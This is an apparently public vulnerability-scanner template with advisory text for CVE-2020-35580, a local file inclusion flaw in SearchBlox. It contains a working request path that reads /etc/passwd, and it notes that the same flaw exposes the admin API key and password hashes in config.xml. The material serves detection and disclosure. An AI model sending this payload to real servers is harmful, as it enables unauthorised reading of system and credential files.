SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
PoC代码[已公开]
id: CVE-2020-35580
info:
name: SearchBlox <9.2.2 - Local File Inclusion
author: daffainfo
severity: high
description: SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
remediation: |
Upgrade to SearchBlox version 9.2.2 or later to mitigate the vulnerability.
reference:
- https://hateshape.github.io/general/2021/05/11/CVE-2020-35580.html
- https://developer.searchblox.com/docs/getting-started-with-searchblox
- https://nvd.nist.gov/vuln/detail/CVE-2020-35580
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-35580
cwe-id: CWE-22
epss-score: 0.80044
epss-percentile: 0.99062
cpe: cpe:2.3:a:searchblox:searchblox:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: searchblox
product: searchblox
tags: cve2020,cve,lfi,searchblox,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 490a004630440220251ad30de6dc26965aef90cc93710d0879763b8b12e65c973149063576204d4702203a287b3b3ad3d98b26d34dcf4940c9a06b3abce33c60029dec411b17655cf0ea:922c64590222798bb761d5b6d8e72950